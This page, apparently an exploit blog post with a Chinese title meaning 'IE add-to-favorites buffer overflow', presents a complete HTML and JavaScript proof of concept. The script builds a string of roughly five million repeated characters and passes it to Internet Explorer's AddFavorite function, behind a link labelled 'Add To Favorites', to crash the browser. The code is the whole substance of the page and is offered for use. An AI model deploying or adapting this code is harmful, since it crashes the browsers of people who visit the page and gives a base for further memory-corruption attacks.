IE添加收藏缓冲区溢出
Sberry, Compaq
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
<code> <html> <head> <script language="JavaScript" type="Text/Javascript"> function go() { var str =unescape('%u4141'); var finalstr = createInlineBuffer(str, 5150000); var len = finalstr.length; document.write(len); addfav(finalstr); } /* Effient in-line creation */ function createInlineBuffer (str, num) { var i = Math.ceil(Math.log(num) / Math.LN2), res = str; do { res += res; } while (0 < --i); return res.slice(0, str.length * num); } /* Vulnerable Function */ function addfav(str) { if (document.all) { window.external.AddFavorite ('http://'+str,'Crash') } } </script> </head> <body> <a href="javascript:go()">Add To Favorites</a> </body> </html> </code> |
发表评论
| Trackback
